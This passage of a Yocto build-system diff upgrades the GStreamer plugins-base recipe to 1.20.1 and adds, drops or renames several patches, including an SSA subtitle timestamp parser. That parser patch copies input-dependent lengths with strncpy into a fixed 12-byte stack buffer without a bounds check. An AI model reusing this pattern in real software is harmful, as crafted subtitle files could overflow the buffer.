-+
-+ /* skip all non-text fields before the actual text */
-+ for (i = 0; i < 8; ++i) {
-+ t = strchr (t, ',');
-+ if (t == NULL)
-+ break;
-+ ++t;
-+ }
-+ } else {
-+ /* started with "Dialogue:", update timestamp and duration */
-+ /* time format are like Dialog:Mark,0:00:01.02,0:00:03.04,xx,xxx,... */
-+ guint hour, min, sec, msec, len;
-+ GstClockTime tmp;
-+ gchar t_str[12] = {0};
-+
-+ /* find the first ',' */
-+ p_start = strchr (t, ',');
-+ if (p_start)
-+ p_end = strchr (++p_start, ',');
-+
-+ if (p_start && p_end) {
-+ /* copy text between first ',' and second ',' */
-+ strncpy(t_str, p_start, p_end - p_start);
-+ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
-+ tmp = ((hour*3600) + (min*60) + sec) * GST_SECOND + msec*GST_MSECOND;
-+ GST_DEBUG_OBJECT (parse, "Get start time:%02d:%02d:%02d:%03d\n",
-+ hour, min, sec, msec);
-+ if (start_time > tmp)
-+ start_time = tmp;
-+ } else {
-+ GST_WARNING_OBJECT (parse,
-+ "failed to parse ssa start timestamp string :%s", t_str);
-+ }
-+
-+ p_start = p_end;
-+ p_end = strchr (++p_start, ',');
-+ if (p_end) {
-+ /* copy text between second ',' and third ',' */
-+ strncpy(t_str, p_start, p_end - p_start);
-+ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
-+ tmp = ((hour*3600) + (min*60) + sec)*GST_SECOND + msec*GST_MSECOND;
-+ GST_DEBUG_OBJECT(parse, "Get end time:%02d:%02d:%02d:%03d\n",
-+ hour, min, sec, msec);
-+ if (end_time < tmp)
-+ end_time = tmp;
-+ } else {
-+ GST_WARNING_OBJECT (parse,
-+ "failed to parse ssa end timestamp string :%s", t_str);
-+ }
-+ }
-+ }
-+
-+ /* now skip all non-text fields before the actual text */
-+ for (i = 0; i <= 8; ++i) {
-+ t = strchr (t, ',');
-+ if (t == NULL)
-+ break;
-+ ++t;
-+ }
-+ }
-+
-+ /* line end before expected number of ',', not a Dialogue line */
- if (t == NULL)
-- return GST_FLOW_ERROR;
-- ++t;
-+ break;
-+
-+ /* if not the first line, and the last character of previous line is '\0',
-+ * then replace it with '\N' */
-+ if (p != text && *p == '\0') {
-+ *p++ = '\\';
-+ *p++ = 'N';
-+ }
-+
-+ /* copy all actual text of this line */
-+ while ((*t != '\0') && (*t != '\n'))
-+ *p++ = *t++;
-+
-+ /* add a terminator at the end */
-+ *p = '\0';
-+ }
-+
-+ /* not valid text found in this buffer return OK to let caller unref buffer */
-+ if (strlen(text) <= 0) {
-+ GST_WARNING_OBJECT (parse, "Not valid text found in this buffer\n");
-+ return GST_FLOW_ERROR;
- }
-
-+ t = text;
- GST_LOG_OBJECT (parse, "Text : %s", t);
-
- if (gst_ssa_parse_remove_override_codes (parse, t)) {
-@@ -309,13 +416,22 @@ gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
- gst_buffer_fill (buf, 0, escaped, len + 1);
- gst_buffer_set_size (buf, len);
- g_free (escaped);
-+ g_free(t);
-+
-+ if (start_time != G_MAXUINT64)
-+ GST_BUFFER_TIMESTAMP (buf) = start_time;
-+ else
-+ GST_BUFFER_TIMESTAMP (buf) = start;
-
-- GST_BUFFER_TIMESTAMP (buf) = start;
-- GST_BUFFER_DURATION (buf) = duration;
-+ if (end_time > start_time)
-+ GST_BUFFER_DURATION (buf) = end_time - start_time;
-+ else
-+ GST_BUFFER_DURATION (buf) = duration;
-
- GST_LOG_OBJECT (parse, "Pushing buffer with timestamp %" GST_TIME_FORMAT
-- " and duration %" GST_TIME_FORMAT, GST_TIME_ARGS (start),
-- GST_TIME_ARGS (duration));
-+ " and duration %" GST_TIME_FORMAT,
-+ GST_TIME_ARGS (GST_BUFFER_TIMESTAMP (buf)),
-+ GST_TIME_ARGS (GST_BUFFER_DURATION (buf)));
-
- ret = gst_pad_push (parse->srcpad, buf);
-
-@@ -335,6 +451,7 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
- GstClockTime ts;
- gchar *txt;
- GstMapInfo map;
-+ gint size;
-
- if (G_UNLIKELY (!parse->framed))
- goto not_framed;
-@@ -352,13 +469,14 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
- /* make double-sure it's 0-terminated and all */
- gst_buffer_map (buf, &map, GST_MAP_READ);
- txt = g_strndup ((gchar *) map.data, map.size);
-+ size = map.size;
- gst_buffer_unmap (buf, &map);
-
- if (txt == NULL)
- goto empty_text;
-
- ts = GST_BUFFER_TIMESTAMP (buf);
-- ret = gst_ssa_parse_push_line (parse, txt, ts, GST_BUFFER_DURATION (buf));
-+ ret = gst_ssa_parse_push_line (parse, txt, size, ts, GST_BUFFER_DURATION (buf));
-
- if (ret != GST_FLOW_OK && GST_CLOCK_TIME_IS_VALID (ts)) {
- GstSegment segment;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch
new file mode 100644
index 0000000000..2af83ff8b9
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch
@@ -0,0 +1,32 @@
+From 153f3b83a3fed77785bd1420bed8bbafa2d791b3 Mon Sep 17 00:00:00 2001
+From: Carlos Rafael Giani <crg7475@mailbox.org>
+Date: Tue, 21 May 2019 14:01:11 +0200
+Subject: [PATCH 3/4] viv-fb: Make sure config.h is included
+
+This prevents build errors due to missing GST_API_* symbols
+
+Upstream-Status: Pending
+
+Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
+---
+ gst-libs/gst/gl/gl-prelude.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/gst-libs/gst/gl/gl-prelude.h b/gst-libs/gst/gl/gl-prelude.h
+index 05e1f62..96ce5e6 100644
+--- a/gst-libs/gst/gl/gl-prelude.h
++++ b/gst-libs/gst/gl/gl-prelude.h
+@@ -22,6 +22,10 @@
+ #ifndef __GST_GL_PRELUDE_H__
+ #define __GST_GL_PRELUDE_H__
+
++#ifdef HAVE_CONFIG_H
++#include "config.h"
++#endif
++
+ #include <gst/gst.h>
+
+ #ifdef BUILDING_GST_GL
+--
+2.28.0
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0004-rtsp-drop-incorrect-reference-to-gstreamer-sdp-in-Ma.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0004-rtsp-drop-incorrect-reference-to-gstreamer-sdp-in-Ma.patch
deleted file mode 100644
index 97a0d68cfb..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0004-rtsp-drop-incorrect-reference-to-gstreamer-sdp-in-Ma.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 53b5868491cf99ee797192395dbfeb69df23edd2 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 26 Oct 2015 17:30:14 +0200
-Subject: [PATCH] rtsp: drop incorrect reference to gstreamer-sdp in
- Makefile.am
-
-Upstream-Status: Pending [review on oe-core maillist]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- gst-libs/gst/rtsp/Makefile.am | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/gst-libs/gst/rtsp/Makefile.am b/gst-libs/gst/rtsp/Makefile.am
-index 79027cb..2987e23 100644
---- a/gst-libs/gst/rtsp/Makefile.am
-+++ b/gst-libs/gst/rtsp/Makefile.am
-@@ -82,7 +82,6 @@ GstRtsp-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstrtsp-@GST_API_VERS
- --pkg gio-2.0 \
- --pkg gstreamer-@GST_API_VERSION@ \
- --pkg gstreamer-base-@GST_API_VERSION@ \
-- --pkg gstreamer-sdp-@GST_API_VERSION@ \
- --pkg-export gstreamer-rtsp-@GST_API_VERSION@ \
- --add-init-section="$(INTROSPECTION_INIT)" \
- --output $@ \
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch
deleted file mode 100644
index 6e53d2e8b5..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From bec38a0c2e2958927c42b2f9ae939969b7c4a326 Mon Sep 17 00:00:00 2001
-From: Carlos Rafael Giani <crg7475@mailbox.org>
-Date: Tue, 21 May 2019 14:01:11 +0200
-Subject: [PATCH] viv-fb: Make sure config.h is included
-
-This prevents build errors due to missing GST_API_* symbols
-
-Upstream-Status: Pending
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- gst-libs/gst/gl/gl-prelude.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/gst-libs/gst/gl/gl-prelude.h b/gst-libs/gst/gl/gl-prelude.h
-index 05e1f6229..96ce5e685 100644
---- a/gst-libs/gst/gl/gl-prelude.h
-+++ b/gst-libs/gst/gl/gl-prelude.h
-@@ -22,6 +22,10 @@
- #ifndef __GST_GL_PRELUDE_H__
- #define __GST_GL_PRELUDE_H__
-
-+#ifdef HAVE_CONFIG_H
-+#include "config.h"
-+#endif
-+
- #include <gst/gst.h>
-
- #ifdef BUILDING_GST_GL
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch
deleted file mode 100644
index e8094f459e..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From c6b37a80806f9128de47f1ccc3f2354f8d436bb6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 24 Sep 2015 19:47:32 +0300
-Subject: [PATCH] glimagesink: Downrank to marginal
-
-On desktop, where there is good OpenGL, xvimagesink will come up first,
-on other platforms, OpenGL can't be trusted because it's either software (like
-in a VM) or broken (like on embedded)., so let ximagesink come above.
-
-Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=751684]
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- ext/gl/gstopengl.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/ext/gl/gstopengl.c b/ext/gl/gstopengl.c
-index a4b2540..0ccaacd 100644
---- a/ext/gl/gstopengl.c
-+++ b/ext/gl/gstopengl.c
-@@ -127,7 +127,7 @@ plugin_init (GstPlugin * plugin)
- #endif
-
- if (!gst_element_register (plugin, "glimagesink",
-- GST_RANK_SECONDARY, gst_gl_image_sink_bin_get_type ())) {
-+ GST_RANK_MARGINAL, gst_gl_image_sink_bin_get_type ())) {
- return FALSE;
- }
-
---
-2.1.4
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch
deleted file mode 100644
index a4727e23ea..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 41de2ec64ab06bb58c82c1659adaa3811bc5bcf8 Mon Sep 17 00:00:00 2001
-From: zhouming <b42586@freescale.com>
-Date: Wed, 14 May 2014 10:16:20 +0800
-Subject: [PATCH] ENGR00312515: get caps from src pad when query caps
-
-https://bugzilla.gnome.org/show_bug.cgi?id=728312
-
-Upstream-Status: Pending
-
-Signed-off-by: zhouming <b42586@freescale.com>
-
----
- gst-libs/gst/tag/gsttagdemux.c | 13 +++++++++++++
- 1 file changed, 13 insertions(+)
- mode change 100644 => 100755 gst-libs/gst/tag/gsttagdemux.c
-
-diff --git a/gst-libs/gst/tag/gsttagdemux.c b/gst-libs/gst/tag/gsttagdemux.c
-old mode 100644
-new mode 100755
-index 8a127c8..71c5d78
---- a/gst-libs/gst/tag/gsttagdemux.c
-+++ b/gst-libs/gst/tag/gsttagdemux.c
-@@ -1759,6 +1759,19 @@ gst_tag_demux_pad_query (GstPad * pad, GstObject * parent, GstQuery * query)
- }
- break;
- }
-+ case GST_QUERY_CAPS:
-+ {
-+
-+ /* We can hijack caps query if we typefind already */
-+ if (demux->priv->src_caps) {
-+ gst_query_set_caps_result (query, demux->priv->src_caps);
-+ res = TRUE;
-+ } else {
-+ res = gst_pad_query_default (pad, parent, query);
-+ }
-+ break;
-+ }
-+
- default:
- res = gst_pad_query_default (pad, parent, query);
- break;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/link-with-libvchostif.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/link-with-libvchostif.patch
deleted file mode 100644
index 34f7c2284f..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/link-with-libvchostif.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 9866f51e5e0913f1e453eb574618bf7432f38cb6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 11 Apr 2018 10:46:33 +0800
-Subject: [PATCH] Add -lvchostif to link when using -lEGL on rpi
-
-This is required because libEGL from userland uses sybols
-from this library.
-
-lib/libEGL.so.1.0.0 121: 00000000 0 FUNC GLOBAL DEFAULT UND vc_dispmanx_element_add
- 1552: 00000000 0 FUNC GLOBAL DEFAULT UND vc_dispmanx_element_add
-
-These symbols are provided by libvchostif as seen below
-
-lib/libvchostif.so
- 252: 0000b161 192 FUNC GLOBAL DEFAULT 9 vc_dispmanx_element_add
- 809: 0000b161 192 FUNC GLOBAL DEFAULT 9 vc_dispmanx_element_add
-
-With this explicit link, plugins fail during runtime
-
-(gst-plugin-scanner:571): GStreamer-WARNING **: Failed to load plugin '/usr/lib/gstreamer-1.0/libgstomx.so': Error relocating /usr/lib/libgstgl-1.0.so.0: vc_dispmanx_element_add: symbol not found
-(gst-plugin-scanner:571): GStreamer-WARNING **: Failed to load plugin '/usr/lib/gstreamer-1.0/libgstopengl.so': Error relocating /usr/lib/libgstgl-1.0.so.0: vc_dispmanx_element_add: symbol not found
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- m4/gst-gl.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/m4/gst-gl.m4 b/m4/gst-gl.m4
-index 1e97240..ab7774c 100644
---- a/m4/gst-gl.m4
-+++ b/m4/gst-gl.m4
-@@ -275,7 +275,7 @@ case $host in
- HAVE_EGL=yes
- HAVE_GLES2=yes
- HAVE_EGL_RPI=yes
-- EGL_LIBS="-lbcm_host -lvcos -lvchiq_arm"
-+ EGL_LIBS="-lbcm_host -lvchostif -lvcos -lvchiq_arm"
- EGL_CFLAGS=""
- AC_DEFINE(USE_EGL_RPI, [1], [Use RPi platform])
- ])
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/make-gio_unix_2_0-dependency-configurable.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/make-gio_unix_2_0-dependency-configurable.patch
deleted file mode 100644
index 23950b67f2..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/make-gio_unix_2_0-dependency-configurable.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 7ffa6e3d00e1d8a060f3f4c2bb9a72691af05d79 Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Wed, 20 Jan 2016 13:00:00 -0800
-Subject: [PATCH] make gio_unix_2_0 dependency configurable
-
-Prior to 1.7.1, gst-plugins-base accepted a configure option to
-disable gio_unix_2_0, however it was implemented incorrectly using
-AG_GST_CHECK_FEATURE. That was fixed in 1.7.1 by making the
-dependency unconditional.
-
- http://cgit.freedesktop.org/gstreamer/gst-plugins-base/commit/?id=aadefefba88afe4acbe64454650f24e7ce7c8d70
-
-To make builds deterministic, re-instate support for
---disable-gio_unix_2_0, but implement it using the AC_ARG_ENABLE
-instead of AG_GST_CHECK_FEATURE.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-
----
- configure.ac | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index 12807bc..35a0bf3 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -806,9 +806,16 @@ AM_CONDITIONAL(HAVE_PNG, test "x$HAVE_PNG" = "xyes")
- AM_CONDITIONAL(HAVE_JPEG, test "x$HAVE_JPEG" = "xyes")
-
- dnl *** gio-unix-2.0 for tests/check/pipelines/tcp.c ***
-+AC_ARG_ENABLE([gio_unix_2_0],
-+ [AS_HELP_STRING([--disable-gio_unix_2_0],[disable use of gio_unix_2_0])],
-+ [],
-+ [enable_gio_unix_2_0=yes])
-+
-+if test "x${enable_gio_unix_2_0}" != "xno"; then
- PKG_CHECK_MODULES(GIO_UNIX_2_0, gio-unix-2.0 >= 2.24,
- HAVE_GIO_UNIX_2_0="yes",
- HAVE_GIO_UNIX_2_0="no")
-+fi
- AM_CONDITIONAL(USE_GIO_UNIX_2_0, test "x$HAVE_GIO_UNIX_2_0" = "xyes")
-
- dnl *** finalize CFLAGS, LDFLAGS, LIBS
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.1.bb
deleted file mode 100644
index cb99fba5ff..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.1.bb
+++ /dev/null
@@ -1,73 +0,0 @@
-require gstreamer1.0-plugins.inc
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
- file://common/coverage/coverage-report.pl;beginline=2;endline=17;md5=a4e1830fce078028c8f0974161272607"
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${PV}.tar.xz \
- file://get-caps-from-src-pad-when-query-caps.patch \
- file://0003-ssaparse-enhance-SSA-text-lines-parsing.patch \
- file://make-gio_unix_2_0-dependency-configurable.patch \
- file://0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch \
- file://0002-Makefile.am-prefix-calls-to-pkg-config-with-PKG_CONF.patch \
- file://0003-riff-add-missing-include-directories-when-calling-in.patch \
- file://0004-rtsp-drop-incorrect-reference-to-gstreamer-sdp-in-Ma.patch \
- file://0005-viv-fb-Make-sure-config.h-is-included.patch \
- file://0009-glimagesink-Downrank-to-marginal.patch \
- file://0001-gstreamer-gl.pc.in-don-t-append-GL_CFLAGS-to-CFLAGS.patch \
- file://link-with-libvchostif.patch \
- "
-SRC_URI[md5sum] = "b5eb0651bab70bf1714f103bdd66ce47"
-SRC_URI[sha256sum] = "5c3cc489933d0597087c9bc6ba251c93693d64554bcc563539a084fa2d5fcb2b"
-
-S = "${WORKDIR}/gst-plugins-base-${PV}"
-
-DEPENDS += "iso-codes util-linux"
-
-inherit gettext gobject-introspection
-
-PACKAGES_DYNAMIC =+ "^libgst.*"
-
-# opengl packageconfig factored out to make it easy for distros
-# and BSP layers to pick either (desktop) opengl, gles2, or no GL
-PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gles2 egl', '', d)}"
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa x11', d)} \
- gio-unix-2.0 jpeg ogg pango png theora vorbis zlib \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland egl', '', d)} \
-"
-
-X11DEPENDS = "virtual/libx11 libsm libxrender libxv"
-X11ENABLEOPTS = "--enable-x --enable-xvideo --enable-xshm"
-X11DISABLEOPTS = "--disable-x --disable-xvideo --disable-xshm"
-
-PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
-PACKAGECONFIG[cdparanoia] = "--enable-cdparanoia,--disable-cdparanoia,cdparanoia"
-PACKAGECONFIG[egl] = "--enable-egl,--disable-egl,virtual/egl"
-PACKAGECONFIG[gbm] = "--enable-gbm,--disable-gbm,virtual/libgbm libgudev libdrm"
-PACKAGECONFIG[gio-unix-2.0] = "--enable-gio_unix_2_0,--disable-gio_unix_2_0,glib-2.0"
-PACKAGECONFIG[gles2] = "--enable-gles2,--disable-gles2,virtual/libgles2"
-PACKAGECONFIG[ivorbis] = "--enable-ivorbis,--disable-ivorbis,tremor"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
-PACKAGECONFIG[ogg] = "--enable-ogg,--disable-ogg,libogg"
-PACKAGECONFIG[opengl] = "--enable-opengl,--disable-opengl,virtual/libgl libglu"
-PACKAGECONFIG[opus] = "--enable-opus,--disable-opus,libopus"
-PACKAGECONFIG[pango] = "--enable-pango,--disable-pango,pango"
-PACKAGECONFIG[png] = "--enable-png,--disable-png,libpng"
-PACKAGECONFIG[theora] = "--enable-theora,--disable-theora,libtheora"
-PACKAGECONFIG[visual] = "--enable-libvisual,--disable-libvisual,libvisual"
-PACKAGECONFIG[vorbis] = "--enable-vorbis,--disable-vorbis,libvorbis"
-PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
-PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,wayland-native wayland wayland-protocols libdrm"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
-
-FILES_${PN}-dev += "${libdir}/gstreamer-${LIBV}/include/gst/gl/gstglconfig.h"
-FILES_${MLPREFIX}libgsttag-1.0 += "${datadir}/gst-plugins-base/1.0/license-translations.dict"
-
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/gst-libs/gst/tag/.libs:${B}/gst-libs/gst/video/.libs:${B}/gst-libs/gst/audio/.libs:${B}/gst-libs/gst/rtp/.libs:${B}/gst-libs/gst/allocators/.libs"
-}
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.20.1.bb
new file mode 100644
index 0000000000..9b9be0d326
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.20.1.bb
@@ -0,0 +1,92 @@
+require gstreamer1.0-plugins-common.inc
+
+DESCRIPTION = "'Base' GStreamer plugins and helper libraries"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-base/-/issues"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${PV}.tar.xz \
+ file://0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch \
+ file://0003-viv-fb-Make-sure-config.h-is-included.patch \
+ file://0002-ssaparse-enhance-SSA-text-lines-parsing.patch \
+ "
+SRC_URI[sha256sum] = "96d8a6413ba9394fbec1217aeef63741a729d476a505a797c1d5337d8fa7c204"
+
+S = "${WORKDIR}/gst-plugins-base-${PV}"
+
+DEPENDS += "iso-codes util-linux zlib"
+
+inherit gobject-introspection
+
+# opengl packageconfig factored out to make it easy for distros
+# and BSP layers to choose OpenGL APIs/platforms/window systems
+PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gles2 egl', '', d)}"
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa x11', d)} \
+ jpeg ogg pango png theora vorbis \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland egl', '', d)} \
+"
+
+OPENGL_APIS = 'opengl gles2'
+OPENGL_PLATFORMS = 'egl'
+
+X11DEPENDS = "virtual/libx11 libsm libxrender libxv"
+X11ENABLEOPTS = "-Dx11=enabled -Dxvideo=enabled -Dxshm=enabled"
+X11DISABLEOPTS = "-Dx11=disabled -Dxvideo=disabled -Dxshm=disabled"
+
+PACKAGECONFIG[alsa] = "-Dalsa=enabled,-Dalsa=disabled,alsa-lib"
+PACKAGECONFIG[cdparanoia] = "-Dcdparanoia=enabled,-Dcdparanoia=disabled,cdparanoia"
+PACKAGECONFIG[graphene] = "-Dgl-graphene=enabled,-Dgl-graphene=disabled,graphene"
+PACKAGECONFIG[jpeg] = "-Dgl-jpeg=enabled,-Dgl-jpeg=disabled,jpeg"
+PACKAGECONFIG[ogg] = "-Dogg=enabled,-Dogg=disabled,libogg"
+PACKAGECONFIG[opus] = "-Dopus=enabled,-Dopus=disabled,libopus"
+PACKAGECONFIG[pango] = "-Dpango=enabled,-Dpango=disabled,pango"
+PACKAGECONFIG[png] = "-Dgl-png=enabled,-Dgl-png=disabled,libpng"
+PACKAGECONFIG[qt5] = "-Dqt5=enabled,-Dqt5=disabled,qtbase qtdeclarative qtbase-native"
+PACKAGECONFIG[theora] = "-Dtheora=enabled,-Dtheora=disabled,libtheora"
+PACKAGECONFIG[tremor] = "-Dtremor=enabled,-Dtremor=disabled,tremor"
+PACKAGECONFIG[visual] = "-Dlibvisual=enabled,-Dlibvisual=disabled,libvisual"
+PACKAGECONFIG[vorbis] = "-Dvorbis=enabled,-Dvorbis=disabled,libvorbis"
+PACKAGECONFIG[x11] = "${X11ENABLEOPTS},${X11DISABLEOPTS},${X11DEPENDS}"
+
+# OpenGL API packageconfigs
+PACKAGECONFIG[opengl] = ",,virtual/libgl libglu"
+PACKAGECONFIG[gles2] = ",,virtual/libgles2"
+
+# OpenGL platform packageconfigs
+PACKAGECONFIG[egl] = ",,virtual/egl"
+
+# OpenGL window systems (except for X11)
+PACKAGECONFIG[gbm] = ",,virtual/libgbm libgudev libdrm"
+PACKAGECONFIG[wayland] = ",,wayland-native wayland wayland-protocols libdrm"
+PACKAGECONFIG[dispmanx] = ",,virtual/libomxil"
+PACKAGECONFIG[viv-fb] = ",,virtual/libgles2 virtual/libg2d"
+
+OPENGL_WINSYS = "${@bb.utils.filter('PACKAGECONFIG', 'x11 gbm wayland dispmanx egl viv-fb', d)}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ ${@get_opengl_cmdline_list('gl_api', d.getVar('OPENGL_APIS'), d)} \
+ ${@get_opengl_cmdline_list('gl_platform', d.getVar('OPENGL_PLATFORMS'), d)} \
+ ${@get_opengl_cmdline_list('gl_winsys', d.getVar('OPENGL_WINSYS'), d)} \
+"
+
+FILES:${PN}-dev += "${libdir}/gstreamer-1.0/include/gst/gl/gstglconfig.h"
+FILES:${MLPREFIX}libgsttag-1.0 += "${datadir}/gst-plugins-base/1.0/license-translations.dict"
+
+def get_opengl_cmdline_list(switch_name, options, d):
+ selected_options = []
+ if bb.utils.contains('DISTRO_FEATURES', 'opengl', True, False, d):
+ for option in options.split():
+ if bb.utils.contains('PACKAGECONFIG', option, True, False, d):
+ selected_options += [option]
+ if selected_options:
+ return '-D' + switch_name + '=' + ','.join(selected_options)
+ else:
+ return ''
+
+CVE_PRODUCT += "gst-plugins-base"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
new file mode 100644
index 0000000000..54dd92873f
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc
@@ -0,0 +1,47 @@
+# This .inc file contains the common setup for the gstreamer1.0-plugins-*
+# plugin set recipes.
+
+# SUMMARY is set in the actual .bb recipes
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
+SECTION = "multimedia"
+
+DEPENDS = "gstreamer1.0 glib-2.0-native"
+
+inherit gettext meson pkgconfig upstream-version-is-even
+
+require gstreamer1.0-plugins-packaging.inc
+
+# Orc enables runtime JIT compilation of data processing routines from Orc
+# bytecode to SIMD instructions for various architectures (currently SSE, MMX,
+# MIPS, Altivec and NEON are supported).
+# This value is used in the PACKAGECONFIG values for each plugin set recipe.
+# By modifying it, Orc can be enabled/disabled in all of these recipes at once.
+GSTREAMER_ORC ?= "orc"
+# workaround to disable orc on mips to fix the build failure
+# {standard input}: Assembler messages:
+# {standard input}:46587: Error: branch out of range
+GSTREAMER_ORC:mips = ""
+PACKAGECONFIG[orc] = "-Dorc=enabled,-Dorc=disabled,orc orc-native"
+
+# TODO: put this in a gettext.bbclass patch (with variables to allow for
+# configuring the option name and the enabled/disabled values).
+def gettext_oemeson(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '-Dnls=disabled'
